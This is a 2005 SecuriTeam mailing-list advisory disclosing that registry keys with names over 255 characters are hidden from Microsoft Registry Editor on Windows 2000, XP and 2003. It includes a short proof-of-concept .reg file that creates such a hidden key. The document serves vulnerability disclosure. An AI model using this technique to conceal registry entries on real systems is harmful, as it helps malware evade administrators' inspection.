[NT] Miscrosoft Registry Editor long string key hiding

SecuriTeam <[email protected]> 30 Aug 2005 18:06:16 +0200
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Miscrosoft Registry Editor long string key hiding
------------------------------------------------------------------------


SUMMARY

 
<http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/regedit_overview.mspx> Microsoft Registry Editor is an advanced tool for viewing and changing settings in your system registry, which contains information about how your computer runs.

A large key name allow attackers to hide registry keys from users that 
uses the Microsoft Registry Editor.

DETAILS

Vulnerable Systems:
 * Microsoft Registry Editor Windows 2000
 * Microsoft Registry Editor Windows XP
 * Microsoft Registry Editor Windows 2003 Server

A design flaw in Microsoft Registry editor that support Unicode allow 
attackers to place a long key name (longer then the limited size of 255), 
and thus hide the key from Microsoft Registry Editor users.

In order to exploit this issue, create an external .reg file and import it 
using regedit.exe:

Proof of Concept:
hiddenkey.reg:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456]


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> "Andre 
Protas.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.